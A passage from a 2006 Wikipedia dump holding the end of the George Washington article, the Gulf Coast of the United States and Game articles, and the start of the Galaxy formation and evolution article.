*George Washington stood amost 6'3&quot; and had red hair.
*A popular belief is that Washington wore a wig, as was the fashion among some at the time. He did not. He did, however, powder his hair[http://www.mountvernon.org/visit/plan/index.cfm/pid/446/], as represented in several portraits, including the well-known unfinished [[Gilbert Stuart]] [http://www.npg.si.edu/cexh/stuart/athen1.htm depiction].
*It has been suggested in the journal &quot;Fertility and Sterility&quot; [http://www.asrm.org/Professionals/Fertility&amp;Sterility/georgewashington.pdf] that Washington had no children because he was sterile, most probably resulting from a case of [[tuberculosis]]; he seemingly contracted it from his brother who later died from tuberculosis when he went to Barbados at age 19. His wife Martha had four children from a previous marriage (two died before they were four, the others died at age 16 and 28, respectively.  Due to Mrs. Washington having four children of her own, it is generally assumed that she was capable of having more children.  However, childbirth was extremely difficult in the Washington's day and any labor could cause irrevocable damage to a mother's ability to have more offspring.  Mrs. Washington also suffered a case of the german measles shortly after her marriage to George Washington.  Either the difficult birth of her last child, Patsy, and or the german measles could have comprised Mrs. Washington's fertility.  The Washington's however were surrounded by children.  In addition to Mrs. Washington's son and daughter, two of her four grandchildren where raised by George and Martha Washington and many nieces, nephews, and custodial wards came under the care of the Washington couple.  The children of Mount Vernon include:  John Parke Custis (son), Martha Parke Custis (daughter), Amelia Posey (ward), Frances Bassett (niece), George Augustine Washington (nephew), Harriot Washington (niece), Eleanor Parke Custis, (granddaughter), George Washington Parke Custis (grandson), and George Washington Lafayette (ward/son of the Marquis who lived with the Washington's during the French Reign of Terror).  
*A number of younger men were essentially surrogate sons to the childless Washington, including [[Alexander Hamilton]], [[Gilbert du Motier, Marquis de La Fayette|Lafayette]], [[Nathanael Greene]], and [[George Washington Parke Custis|George W. P. Custis]], Washington's step-grandson. George Washington Parke Custis' daughter Mary would eventually become the wife of [[Robert Edward Lee|General Robert E. Lee]].
*Washington was a [[cricket]] enthusiast and was known to have played the sport, which was popular at that time in the British colonies.
*Through his father's family, Washington was a direct descendant of [[Edward III of England|King Edward III]] and [[William I of England|William the Conqueror]] of [[England]]. [http://www.ancestryuk.com/WashingtonAncestry.htm George Washington's Royal descent {for reference only}]
*One story about Washington has him throwing a silver dollar across the Potomac River. He may have thrown an object across the [[Rappahannock River]], the river on which his childhood home, Ferry Farm, stood. However, the Potomac is over a mile wide at Mount Vernon. Also silver dollars did not exist then.
*Grew [[hemp]], a common crop at the time used for fiber production, specifically to make [[rope]].  [http://www.stanford.edu/~johnbrks/theCafe/substance/marijuana.html]
*Washington's [[teeth]] were not made out of wood, as usually said. They were made out of teeth from different kinds of animals, specifically [[elk]], [[hippopotamus]], and [[human]][http://www.americanrevolution.org/dental.html]. One set of false teeth that he had weighed almost three pounds and were made out of [[lead]].
*In the first Presidential inauguration, Washington took the oath as prescribed by the Constitution but added several religious components to that official ceremony. Before taking his oath of office, a local [[Washington Inaugural Bible|Masonic Bible]] was hurriedly borrowed on which to take the oath; Washington added the words “So help me God!” to the end of the oath, and then leaned over and kissed the Bible.
*While Washington did not accept pay while the Commander of the Continential Army, he did claim expenses.  He provided Congress with a complete expense account which, after some grumbling, Congress paid in full.
*An attempt was made to kidnap George Washington while he was commander-in-chief of the army during the [[American Revolution]].  The [[governor]] of [[New York]], [[William Tryon]], and the [[mayor]] of [[New York City]], [[David Matthews (mayor)|David Matthews]], both [[Tories]], were involved in the plot, as was one of Washington's bodyguards, [[Thomas Hickey (18th century)|Thomas Hickey]],  Hickey was court-martialed and hanged for [[mutiny]], [[sedition]], and [[treachery]], on June 28, 1776.
*Washington was a Freemason.  He participated in the laying of the cornerstone of the Capitol Building as a Mason, was Master of Alexandria Masonic Lodge and was buried with Masonic honors.  He was even suggested for the position of General Grand Master of Masons in America (which he did not pursue).  It is generally accepted that if he would have taken the position that the individual state grand lodges would have united into one Grand Lodge of the United States.
*Washington was considered to be the finest horseman of his day.  His favorite horse was named Nelson.  
*The most famous man of his day, George Washington received hundreds of guest to his home every year.  In 1798, 677 visitors passed through Mount Vernon.  Washington commented that his home had become a &quot;well-resorted tavern&quot;.  
*George Washington was referred to as General Washington and not President Washington once he retired from the executive office.  General was the title he preferred and protocol dictates that there is only one President.  All former Presidents return to their previous highest ranking title.  
*George Washinton's nickname for his wife was &quot;Patsy&quot;.  
*Mrs. Washington burned the correspondance between her husband and herself following his death.  Only two letters survive.

==See also==
* [[U.S. presidential election, 1789]]
* [[U.S. presidential election, 1792]]
* [[Famous military commanders]]
* [[George Washington's farewell address]]
* [[List of U.S. Presidential religious affiliations]]
* [[Newburgh conspiracy]]
* [[List of people on stamps of Ireland]] 
* [[American Whiskey Trail]]

==Notes==
#{{note|father}}The earliest known image in which Washington is identified as such is on the cover of the circa 1778 [[Pennsylvania German]] almanac (Lancaster: Gedruckt bey Francis Bailey). This identifies Washington as &quot;Landes Vater&quot; or ''Father of the Land''.

==References==
The literature on George Washington is immense. The [[Library of Congress]] has a comprehensive bibliography [http://memory.loc.gov/ammem/gwhtml/gwbib.html online]. 
*Comora, Madeleine &amp; Deborah Chandra. ''George Washington's Teeth.'' Illustrated by Brock Cole. Farrar, Straus and Giroux, 2003; ISBN 0374325340. A lighthearted chronicle of his dental struggles, aimed at children and adults.
*Deconde, Alexander. ''Entangling Alliance: Politics &amp; Diplomacy under George Washington'' (1958)
*[[Joseph J. Ellis|Ellis, Joseph J.]] ''His Excellency: George Washington''. New York: Knopf, 2004. ISBN 1400040310. Powerful interpretation of Washington's career.
*Elkins, Stanley M. and Eric McKitrick, ''The Age of Federalism.'' (1994) the leading scholarly history of the 1790s.
* Ferling, John E. ''The First of Men: A Life of George Washington'' (1989), solid and scholarly.
*Fischer, David Hackett. ''Washington's Crossing.'' (2004), prize-winning military history focused on 1775-1776.
*Flexner, James Thomas. ''Washington: The Indispensable Man.'' Boston: Little, Brown, 1974. ISBN 0316286168 (1994 reissue). Single-volume condensation of Flexner's popular four-volume biography.
**''George Washington: the Forge of Experience, 1732-1775'' (1965)
*Freeman, Douglas. S. ''Washington: An abridgement in one volume by Richard Harwell of the seven-volume George Washington by Douglas Southall Freeman'' (1968), the standard scholarly biography.
**Freeman, Douglas. S. ''George Washington'' vol 1 (1948)
*Grizzard, Frank E., Jr. ''George! A Guide to All Things Washington.'' Buena Vista and Charlottesville, VA: Mariner Publishing. 2005. ISBN 0-9768238-0-2.  Grizzard is a leading scholar of Washington.
*Grizzard, Frank E., Jr. ''The Ways of Providence: Religion and George Washington.'' Buena Vista and Charlottesville, VA: Mariner Publishing. 2005. ISBN 0-9768238-1-0.
*Higginbotham, Don, ed. ''George Washington Reconsidered'' (2001).
*Lengel, Edward G. ''General George Washington: A Military Life.'' New York: Random House, 2005. ISBN 1400060818.
*[Lodge, Henry Cabot]. ''George Washington'' (vol 2, 1899 covers 1783-99) [http://www.gutenberg.org/etext/12653 online at Project Gutenberg] old but generally accurate. Freeman and Flexner are much better.
* McDonald, Forrest . ''The Presidency of George Washington''. (1988), Intellectual history showing Washington as exemplar of republicanism.
*Wiencek, Henry. ''An Imperfect God: George Washington, His Slaves, and the Creation of America''. (2003).
*Nash, Gary B. ''The Unknown American Revolution: The Unruly Birth of Democracy and the Struggle to Create America''. Viking, 2005. ISBN 0670034207.  A left-wing interpretation of the era, with little on Washington.
*Burton I. Kaufman, ed., Washington's Farewell Address: The View from the 20th Century (1969); Paul A. Varg, Foreign Policies of the Founding Fathers (1963); Alexander De Conde, Entangling Alliances (1958).
*Washington, George and Kitman, Marvin, ''George Washington's Expense Account''. Grove Press. (2001) ISBN 0-8021-3773-3  Account pages, with added humor.
* Barbara Bennett Peterson, &quot;George Washington: America's Moral Exemplar&quot;, (2005).

==External links==
{{commons|George Washington}}
{{wikiquote}}
{{Wikisource author}}
*[http://www.pocanticohills.org/washington/washington.htm George Washington for Kids]
*[http://etext.lib.virginia.edu/washington/fitzpatrick/ 39 Volume Collection of the Works of George Washington]
*[http://gwpapers.virginia.edu/ Papers of Washington] Full versions on-line from the University of Virginia
*[http://www.yale.edu/lawweb/avalon/presiden/washpap.htm Papers of Washington] Avalon Project (incl. Inaugural Addresses, State of the Union Messages, and more)
*[http://www.heraldrysociety.us/presidents/index.php?page=Washington Armigerous American Presidents Series]
*[http://www.loc.gov/rr/program/bib/ourdocs/commission.html Library of Congress: Washington's Commission as Commander in Chief]
*[http://usinfo.state.gov/usa/infousa/facts/democrac/49.htm Farewell Address]
*[http://www.libraryreference.org/washington.html Biography of George Washington]
*[http://marriage.about.com/od/presidentialmarriages/p/gwashington.htm George and Martha Washington Marriage Profile]
*[http://freepages.genealogy.rootsweb.com/~jamesdow/s004/f647706.htm A pedigree of George Washington]
*[http://genealogy.wikicities.com/wiki/George_Washington_%281732-1799%29 George Washington Genealogy] on Wikicities
*[http://www.geocities.com/Athens/Thebes/8171/GeorgeWashington.html George Washington's German &quot;Cousin&quot;]
*[http://www.ericdigests.org/1999-2/washington.htm Teaching about George Washington]
*[http://www.thirty-thousand.org/pages/first_veto.htm The First Presidential Veto] Analysis of the first veto by a U.S. President
*[https://www.perscom.army.mil/tagd/tioh/rank/goa.htm General Washington's military rank]
*[http://www.whitehouse.gov/history/presidents/gw1.html White House Biography]
* {{gutenberg author| id=George+Washington+(1732-1799) | name=George Washington}}
*[http://www.archontology.org/nations/us/us2/washington.php George Washington: Archontology.org, chronology, dates, terms, election results]
*[http://www.virginia.org/site/features.asp?FeatureID=200 George Washington historic sites in Virginia - Official Tourism Website]
* [http://www.presidency.ucsb.edu/ws/index.php?pid=29431 1st State of the Union Address]
* [http://www.presidency.ucsb.edu/ws/index.php?pid=29432 2nd State of the Union Address]
* [http://www.presidency.ucsb.edu/ws/index.php?pid=29433 3rd State of the Union Address]
* [http://www.presidency.ucsb.edu/ws/index.php?pid=29434 4th State of the Union Address]
* [http://www.presidency.ucsb.edu/ws/index.php?pid=29435 5th State of the Union Address]
* [http://www.presidency.ucsb.edu/ws/index.php?pid=29436 6th State of the Union Address]
* [http://www.presidency.ucsb.edu/ws/index.php?pid=29437 7th State of the Union Address]
* [http://www.presidency.ucsb.edu/ws/index.php?pid=29438 8th State of the Union Address]

{{start box}}
{{succession box|title=[[United States Federalist Party|Federalist Party]] [[President of the United States|presidential]] candidate|before=''(none)''|after=[[John Adams]]|years=[[U.S. presidential election, 1789|1789]] (won)&lt;sup&gt;(a)&lt;/sup&gt;, [[U.S. presidential election, 1792|1792]] (won)&lt;sup&gt;(a)&lt;/sup&gt;}}
{{succession box|title=[[President of the United States]]|before=''(none)'' - [[Cyrus Griffin]] was [[President of the Continental Congress]] |after=[[John Adams]]|years=[[April 30]] [[1789]]&lt;sup&gt;(b)&lt;/sup&gt; – [[March 3]] [[1797]]
&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on [[March 3]]. --&gt;| }}
{{succession box|title=[[Commanding General of the United States Army|Senior Officer of the United States Army]]|before=[[James Wilkinson]]|after=[[Alexander Hamilton]]|years=1798-1799}}
{{succession footnote| marker=&lt;sup&gt;(a)&lt;/sup&gt;| footnote=Washington was elected in 1789 and 1792 as an Independent, but the Federalist Party was formed by those most in agreement with continuing his policies.}}
{{succession footnote| marker=&lt;sup&gt;(b)&lt;/sup&gt;| footnote=Washington's term as President is sometimes listed as starting on either [[March 4]] or [[April 6]]. [[March 4]] is the official start of the first presidential term. [[April 6]] is the date on which Congress counted the electoral votes and certified a winner. [[April 30]] is the date on which Washington took the oath of office.}}
{{end box}}

{{USpresidents}}

&lt;!-- categories for career/main source of notability--&gt;

&lt;!-- categories for other accomplishments/notable relationships--&gt;

&lt;!-- categories for biographical trivia--&gt;

&lt;!-- self-defined category--&gt;

&lt;!-- Translations --&gt;

{{Persondata
|NAME=Washington, George
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=1st U.S. President
|DATE OF BIRTH=[[February 22]] [[1732]]
|PLACE OF BIRTH=[[Colonial Beach, Virginia]], [[United States of America]]
|DATE OF DEATH=[[December 14]] [[1799]]
|PLACE OF DEATH=[[Mount Vernon (plantation)]], [[Mount Vernon, Virginia]], United States of America
}}

[[Category:1732 births|Washington, George]]
[[Category:1799 deaths|Washington, George]]
[[Category:Autodidacts|Washington, George]]
[[Category:Continental Army generals|Washington, George]]
[[Category:Continental Congressmen|Washington, George]]
[[Category:English Americans|Washington, George]]
[[Category:Episcopalians|Washington, George]]
[[Category:Founding Fathers of the United States|Washington, George]]
[[Category:Freemasons|Washington]]
[[Category:French and Indian War people|Washington, George]]
[[Category:George Washington|George Washington]]
[[Category:People from Virginia|Washington, George]]
[[Category:Presidents of the United States|Washington, George]]
[[Category:Revolutionaries|Washington, George]]
[[Category:Scottish-Americans|Washington, George]]
[[Category:Signers of the United States Constitution|Washington, George]]
[[Category:United States presidential candidates|Washington, George]]
[[Category:Washington family|Washington, George]]

{{Link FA|bg}}
{{Link FA|de}}

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[[ja:ジョージ・ワシントン]]
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[[zh:乔治·华盛顿]]</text>
    </revision>
  </page>
  <page>
    <title>Gulf Coast of the United States</title>
    <id>11969</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41043261</id>
      <timestamp>2006-02-24T18:07:41Z</timestamp>
      <contributor>
        <username>CrazyC83</username>
        <id>321664</id>
      </contributor>
      <text xml:space="preserve">[[Image:US map-Gulf Coast.PNG|thumb|300px|States that border the [[Gulf of Mexico]] are shown in red.]]

The '''Gulf Coast''' region of the [[United States]] comprises the coasts of states which border the [[Gulf of Mexico]]. The states of [[Texas]], [[Louisiana]], [[Mississippi]], [[Alabama]], and [[Florida]] are Gulf Coast states. The Gulf Coast is sometimes referred to as the &quot;third coast.&quot;

The Gulf Coast is a major center of economic activity. The marshlands along the Louisiana and Texas coasts provide breeding grounds and nurseries for ocean life that drive the [[Fishing industry|fishing]] and [[shrimp]]ing industries. The [[Port of South Louisiana]] ([[New Orleans, Louisiana|New Orleans]]) and the [[Port of Houston]] are two of the ten busiest [[port]]s in the world by cargo volume. The discovery of [[petroleum|oil]] and [[natural gas|gas]] deposits along the coast and offshore, combined with easy access to shipping, have made the Gulf Coast the heart of the U.S. [[petrochemical]] industry.

The Gulf Coast is intersected by numerous rivers, the largest of which is the [[Mississippi River|Mississippi]]. Land along the Gulf Coast tends to be low and flat, and much of it is (or was) [[marshland]]. The western portions of the Gulf Coast include many [[barrier island]]s and [[peninsula]]s, including the 130 mile (210 km) [[Padre Island]] and [[Galveston Island]]. These landforms protect numerous bays and inlets. The central part of the Gulf Coast, from eastern Texas through Louisiana, consists primarily of marshland.

Because of its proximity to the Gulf of Mexico, the Gulf Coast area is vulnerable to [[tropical cyclone|hurricanes]]. [[Flood]]s and severe [[thunderstorm]]s also affect the region; [[tornado]]es are infrequent but do occur (they are much more frequent in the inland portions of those states). [[Earthquakes]], however, are virtually unheard of.

== Cities on the U.S. Gulf Coast ==
*Texas
** [[Beaumont, Texas]]
** [[Brownsville, Texas]]
** [[Corpus Christi, Texas]]
** [[Freeport, Texas]]
** [[Galveston, Texas]]
** [[Houston, Texas]]
** [[Port Arthur, Texas]]
** [[Port Lavaca, Texas]]
** [[Sugar Land, Texas]]
*Louisiana
** [[Baton Rouge, Louisiana]]
** [[Lafayette, Louisiana]]
** [[Lake Charles, Louisiana]]
** [[New Orleans, Louisiana]]
*Mississippi
** [[Gulfport, Mississippi]]
** [[Biloxi, Mississippi]]
*Alabama
** [[Mobile, Alabama]]
** [[Gulf Shores, Alabama]]               
** [[Orange Beach, Alabama]]
** [[Fairhope, Alabama]]
** [[Daphne, Alabama]]
** [[Spanish Fort, Alabama]]
** [[Dauphin Island, Alabama]]
** [[Point Clear, Alabama]]
** [[Lillian, Alabama]]
** [[Bayou La Batre, Alabama]]
*Florida
** [[Apalachicola, Florida]]
** [[Fort Myers, Florida]]
** [[Fort Walton Beach, Florida]]
** [[Key West, Florida]]
** [[Naples, Florida]]
** [[Panama City, Florida]]
** [[Pensacola, Florida]]
** [[Sarasota, Florida]]
** [[St. Petersburg, Florida]]
** [[Tampa, Florida]]

==See also==
*[[Gulf States Marine Fisheries Commission]]
*[[Geography of the United States]]

{{U.S.Regions}}

[[Category:Gulf of Mexico]]

[[no:Gulfkysten]]</text>
    </revision>
  </page>
  <page>
    <title>Game</title>
    <id>11970</id>
    <revision>
      <id>42160980</id>
      <timestamp>2006-03-04T05:38:02Z</timestamp>
      <contributor>
        <username>EliWolcott</username>
        <id>1026548</id>
      </contributor>
      <comment>/* Types of games */</comment>
      <text xml:space="preserve">{{about|a recreational activity|other meanings|[[game (disambiguation)]]}}

A '''game''' is an (often, but not always [[recreation]]al) activity involving one or more [[player (game)|player]]s. This can be defined by either a [[Objective|goal]] that the players try to reach, or some set of [[rule]]s that determines what the players can or can not do.  Games are played primarily for [[entertainment]] or [[enjoyment]], but may also serve as [[exercise]] or in an [[education]]al, [[simulation]]al or [[psychology|psychological]] role.

[[Image:Tug-of-war.jpg|thumb|200px|[[Tug of war]] is an easily organized, impromptu game that requires little equipment.]]

==Definition==
[[Image:Monopoly Game.jpg|thumb|''[[Monopoly (game)|Monopoly]]'' is the best selling [[board game]] in history.  It is available in [[localization|localized]] versions in many nations, such as this one in [[German language|Germany]].]]
Although many [[animal]]s play, only [[human]]s confirmably have games. Whether some animals are [[intelligent]] enough to game is debatable, though a game has [[ritual]]istic elements (such as rules and procedures) that are voluntarily acted upon, rather than as a result of [[instinct]]. The existence of rules and criteria that decide the outcome of games imply that games require [[intelligence (trait)|intelligence]] of a significant degree of sophistication.

Non-human animal species may, however, engage in games whose rules and sophistication may be of such a nature as to be incapable of detection by humans in their present state of knowledge. It would, for example, seem incongruous that large brained species such as many [[Cetacea]]ns and the larger hominids did not play games. Our inability to observe and understand such games should not be taken as a confirmation that they do not exist. Some [[courtship]] displays by some species of bird, such as the [[Black Grouse]], appear to have a component which, from an [[anthropology|anthropolgical]] view, might appear to be a game in which there are clearly winners and losers.

Games can involve one player acting alone, or two or more players acting cooperatively. Most often involve [[competition]] among two or more players. Taking an action that falls outside the rules generally constitutes a [[foul]] or [[cheating]].

All through human [[history]], people have played games to entertain themselves and others. There are an enormous variety of games; for specific information about different types of games, see the links at the end of this article.

Although Games have been played for thousands of years, many people do not know as much as we believe about them. Things such as how they were invented and why are all matters of the human races of knowledge not yet understood today in the 21st century.

==Games in philosophy==
In ''[[Philosophical Investigations]],'' philosopher [[Ludwig Wittgenstein]] argued that the concept &quot;game&quot; could not be contained by any single definition, but that games must be looked at as a series of definitions that share a &quot;family resemblance&quot; to one another.  Games were important to Wittgenstein's later thought; he held that [[language]] was itself a game, consisting of [[token]]s governed by rough-and-ready rules that arise by convention and are not strict.

[[Stanley Fish]], looking for a clear example of the sorts of [[social construction]]s, cited the balls and strikes of [[baseball]] as example.  While the [[strike zone]] target is governed by the rules of the game, it epitomizes the category of things that exist only because people have agreed to treat them as real.  No pitch is a [[ball (baseball statistics)|ball]] or a [[strike (baseball)|strike]] until it has been labelled as such by an appropriate authority, the plate [[umpire]], whose judgment on this matter cannot be challenged within the current game.

==Anthropology of games==
Games, being a characteristic human activity strongly determined by [[custom]] and the frequent subjects of [[folklore]], have been the subject of [[anthropology|anthropological]] investigations. 

===Classes of games===
While many different subdivisions have been proposed, anthropologists classify games under three major headings, and have drawn some conclusions as to the social bases that each sort of game requires.  They divide games broadly into:
*[[Games of physical skill|Games of skill]], such as [[hopscotch]] and [[shooting sport|target shooting]];
*[[Games of strategy|Games of strategy]], such as [[checkers]], [[go (board game)|go]], or [[tic-tac-toe]];
*[[Games of chance]], such as [[craps]], [[snakes and ladders]] and [[poker]].

In addition to these basic classifications, there are mixed games; such as [[American football|football]] and [[baseball]], involving both skill and strategy, and [[poker]], involving strategy and chance. [[Baseball Hall of Fame|Baseball Hall of Famer]] [[Casey Stengel]] addressed the illusion of luck dominating skill in his sport when he remarked, &quot;I had many years when I was not so successful as a ballplayer, as it is a game of skill.&quot;

[[Image:ChessSet.jpg|right|200px|thumb|The game of [[chess]], which requires a chess set and consists of nearly pure strategy.]]
Games of pure skill are likely the oldest sort of game, and are found in all cultures, regardless of their level of [[Archaeological culture|material culture]].  They are associated with cultures that place a high value on individual performance and prowess.  

Games of strategy require a higher material basis.  They are associated with cultures that possess a [[writing|written language]]: not surprising, since most strategy games are based on [[mathematics]] and feature the manipulation of [[symbol]]s.  They often require special equipment to be played.  They are associated with [[hierarchy|hierarchical]] societies that place a high value on obedience.

Games of chance appear at a variety of levels of material culture; what they seem to share generally is a sense of [[economics|economic]] insecurity.  They are associated with cultures that place a high value on personal responsibility, keeping one's word, and maintaining personal standing in the face of misfortune; in other words, with &quot;cultures of [[honour|honor]]&quot;.

===Games and sports===
[[Image:SC-Heerenveen-supporters.jpg|thumb|right|200px|Fans at a [[Soccer]] match ([[SC Heerenveen]])]]
There is no clear line of demarcation between games and [[sport]]s.  Generally, sports are [[athletics|athletic]] in nature, and have an element of physical prowess, but then so do many games.  For cultural anthropologists, the distinction between games and sports hinges on community involvement.  Sports often require special equipment and playing fields or prepared grounds dedicated to their practice, a fact that often makes necessary the involvement of a community beyond the players themselves.  Most sports can have [[spectator sport|spectators]].  Communities often align themselves with players of sports, who in a sense represent that community; they often align themselves against their opponents, or have traditional rivalries.  The concept of [[fan (aficionado)|fandom]] began with sports fans.  Games amuse the players; sports amuse a broader public; in advanced material cultures, sports can be played by [[professional sports|paid professionals]]. When games like [[chess]] and [[Go (board game)|go]] are played professionally, they take on many of the characteristics of a sport.

==One-person games==
One-person games or one-player games are sometimes called solitaire games, but this term can be easily confused with the peg game and the card game of same name.

Types of one-player games include:
* many [[arcade game]]s
* most [[computer and video games]]
* [[juggling]]
* most types of [[puzzle]]s (logical, mechanical, mathematical, etc.) 
* [[solitaire card game]]s

==Types of games==
''main article: [[Game classification]]''

*[[Alternate reality game]]
*[[Ball game]]s
*[[Board game]]s
*[[Business game]]s
*[[Car game]]s
*[[Card game]]s
**[[Collectible card game]]s
*[[Casino game]]s
*[[List of traditional children's games|Children's games]]
*[[Clapping game]]s
*[[Computer and video game]]s
**[[Computer board game]]s
**[[Computer puzzle game]]s
**[[Online game]]s
***[[Online skill-based game]]s
***[[MUD|MUDs]]
***[[MMORPG]]s
*[[Conversation games]]
*[[Counting-out game]]s
*[[Creative game]]s
*[[Dice game]]s
*[[Drinking game]]s
*[[Educational game]]s
*[[Economics game]]s
*[[Game show]]s
*[[Games of chance]]
*[[Games of dare]]
*[[Games of logic]]
*[[Games of physical activity]]
*[[Games of physical skill]]
*[[Games of skill]]
*[[Games of strategy]]
*[[Simulation game|Games of status]]
*[[Global Positioning System-based game]]s
*[[Group-dynamic game]]s
*[[Guessing game]]s
*[[Letter game]]s
*[[Locative game]]s
*[[Mathematical game]]s
*[[Mental Games]]
*[[New Game]]s
*[[Open gaming]]
*[[Party game]]s
*[[Parlour game]]s
*[[Pencil and paper game]]s
*[[Play-by-mail game]]s
*[[Playground games]]
*[[Political game]]s
*[[Pub game]]s
*[[Puzzle]]s
*[[Quiz]]zes
*[[Role-playing game]]s
*[[Singing game]]s
*[[Spoken game]]s
*[[Street game]]s
*[[String game]]s
*[[Table-top game]]s
*[[Tile-based game]]s
*[[Theater game]]s
*[[Traditional game]]s
*[[Travel games]]
*[[Unclassified game]]s
*[[Wargame]]s
*[[Win-win game]]s
*[[Word game]]s

==See also==
{{commons|Game}}
*{{wikicities|gameinfo|Games}}
*[[List of game manufacturers]]
*[[List of game topics]]
*[[List of computer puzzle games]]
*[[Ludology]]
*[[Game club]]
*[[Game semantics]]
*[[Game theory]]
*[[Play]]
*[[Puzzle]]
*[[Toy]]
*[[Artistic computer game modification]]
*[[Sport]]s

==References==
* Avedon, Elliot; Sutton-Smith, Brian, ''The Study of Games''.  (Philadelphia: Wiley, 1971), reprinted Krieger, 1979.  ISBN 0898740452

[[Category:Games| ]]

[[ast:Xuegu]]
[[bg:Игра]]
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[[cs:Hra]]
[[da:Spil (leg)]]
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[[el:Παιχνίδι]]
[[es:Juego]]
[[eo:Ludo]]
[[fa:بازی]]
[[fr:Jeu]]
[[ga:Cluiche]]
[[ko:놀이]]
[[hi:खेल]]
[[hr:Igra]]
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[[id:Permainan]]
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[[he:משחק]]
[[lad:Juego]]
[[la:Ludus]]
[[lt:Žaidimas]]
[[li:Sjpel]]
[[mk:Игри]]
[[ms:Permainan]]
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[[simple:Game]]
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[[sr:Игра]]
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[[tl:Laro]]
[[th:เกม]]
[[tr:Oyun (anlam)]]
[[zh:游戏]]</text>
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  <page>
    <title>Galaxy formation and evolution</title>
    <id>11971</id>
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      <id>42034495</id>
      <timestamp>2006-03-03T09:59:42Z</timestamp>
      <contributor>
        <username>Iantresman</username>
        <id>67907</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Cosmology}}

In [[astrophysics]], the questions of '''[[galaxy]] formation and evolution''' are:
*''How, from a homogeneous universe, did we obtain the very inhomogeneous one we live in?''
*''How did galaxies form?''
*''How do galaxies change over time?''

The formation of [[galaxy|galaxies]] is still one of the most active research areas in astrophysics; and, to some extent, this is also true for galaxy evolution.  Some ideas, however, are now widely accepted. 

[[image:cartwheel.galaxy.arp.750pix.jpg|thumb|300px|left|A spectacular head-on collision between two galaxies is seen in this [[NASA]] [[Hubble Space Telescope]] true-color image of the [[Cartwheel Galaxy]].]]

After the [[Big Bang]], the [[universe]] had a period when it was remarkably [[homogeneous]], as can be observed in the [[Cosmic Microwave Background]], the fluctuations of which are less than one part in one hundred thousand.

The most accepted view is that all the structure we observe today was formed as a consequence of the growth of [[primordial fluctuations]] by [[gravitational instability]].
Recent data strongly suggests that the first galaxies formed as early as 600 million years after the Big Bang, much earlier than astronomers had previously believed.  That leaves hardly enough time for the tiny [[primordial]] instabilities to grow sufficiently forming [[protogalaxy|protogalaxies]] into [[galaxy|galaxies]].  

A great deal of the research in this area is focused on components of our 
own [[Milky Way]], since it is the easiest galaxy to observe.
The observations which must be explained in, or at least not at odds with, a 
theory of galactic evolution, include:
* the [[Galactic plane|stellar disk]] is quite thin, dense, and rotates
* the [[galactic halo|stellar halo]] is very large, sparse, and does not rotate (or has perhaps even a slight [[retrograde]] rotation), with no apparent substructure
* halo [[star]]s are typically much older and have much lower [[metal (disambiguation)|metallicities]] than disk stars (there is a correlation, but there is no absolute connection between these data)
* some astronomers have identified an intermediate population of stars, variously called the &quot;metal weak thick disk&quot;, the &quot;intermediate population II&quot;, et al.  If these are indeed a distinct population, they would be described as metal-poor (but not as poor as the halo stars), old (but not as old as the halo stars), and orbiting very near the disk, in a sort of &quot;puffed-up&quot;, thicker disk shape.
* [[globular cluster]]s are typically old and metal-poor as well, but there are a few which are not nearly as metal-poor as most, and/or have some younger stars.  Some stars in globular clusters appear to be as old as the universe itself (by entirely different measurement and analysis methods)!
* in each globular cluster, all the stars were born at virtually the same time (except for a few globulars that show multiple epochs of star formation)
* globular clusters with smaller orbits (closer to the [[galactic center]]) have orbits which are somewhat flatter (less [[inclination|inclined]] to the disk), and less eccentric (more circular), while those further out have orbits in all inclinations, and tend to be more [[eccentricity (orbit)|eccentric]].
* [[High Velocity Cloud]]s, clouds of [[neutral]] [[hydrogen]] are &quot;raining&quot; down on the galaxy, and presumably have been from the beginning (these would be the necessary source of a gas disk from which the disk stars formed).


==Spiral galaxies==
[[Image:warped_galaxy.jpg|thumb|right|220px|A spiral galaxy warped as a result of colliding with another galaxy. After the other galaxy is completely absorbed, the distortion will disappear. The process typically takes millions of years.]]

[[Spiral galaxy|Spiral galaxies]] cannot be built up by mergers of already existing smaller galaxies.  When galaxies collide, the individual stars barely notice.  The stars themselves never collide with each other because of the enormous distances between them, compared to their size.   So when galaxies collide, they actually simply pass through each other, but the gravitational effects disrupts their structure as this happens.  As they separate, [[gravity]] slows them down and, if they are gravitationally bound, will eventually bring them back together for another collision.  After several collisions their individual structures are so changed, with many stars mixed up between them, that we identify the result as a single merged object.  So after a merger, most of the stars originally belonging to both galaxies remain to form the new merged galaxy (a small fraction will have been thrown out entirely).  If either galaxy were a spiral before the merger, the violence of the event would disrupt the delicate structure of the [[disk (mathematics)|disk]].  The existing stars cannot afterwards change their orbits to form a new disk.  The stellar disk must essentially form in place; a dense rotating disk of gas forms first, then stars are born inside it.

The earliest modern theory of the formation of our galaxy (known by astronomers as ELS, after the initials of the authors of that paper, [[Olin Eggen]], [[Donald Lynden-Bell]], and [[Allan Sandage]]{{ref|ELS}}) describes a single (relatively) rapid monolithic collapse, with the halo forming first, followed by the disk.  
Another view published in 1978 (known as SZ for its authors, [[Leonard Searle]] and [[Robert Zinn]]{{ref|SZ}}) describes a more gradual process, with smaller units collapsing first, then later merging to form the larger components.
An even more recent idea is that significant portions of the stellar halo could be stellar debris from destroyed dwarf galaxies and globular clusters that once orbited the Milky Way. The halo would then be a &quot;new&quot;er component made of &quot;recycled&quot; old parts!

In recent years, a great deal of focus has been put on understanding merger events in the evolution of galaxies.  Rapid technological progress in computers have allowed much better simulations of galaxies, and improved observational technologies have provided much more data about distant galaxies undergoing merger events.  After the discovery in 1994 that our own Milky Way has a [[satellite]] galaxy (the [[Sagittarius Dwarf Elliptical Galaxy]], or SagDEG) which is currently gradually being ripped up and &quot;eaten&quot; by the [[Milky Way]], it is thought these kinds of events may be quite common in the evolution of large galaxies.  The [[Magellanic Clouds]] are satellite galaxies of the Milky Way that will almost certainly share the same fate as the SagDEG.  A merger with a fairly large satellite galaxy could explain why [[M31]] (the [[Andromeda Galaxy]]) appears to have a double core.  

The SagDEG is orbiting our galaxy at almost a [[right angle]] to the disk. It is currently passing through the disk; stars are being stripped off of it with each pass and joining the halo of our galaxy.  Eventually, only the core of SagDEG will exist.  Although it will have the same mass as a large [[globular cluster]] like [[Omega Centauri]] and [[Mayall II|G1]], it will appear rather different, as it has far lower surface density due to the presence of substantial amounts of [[dark matter]], while globular clusters appear, mysteriously, to contain very little dark matter.
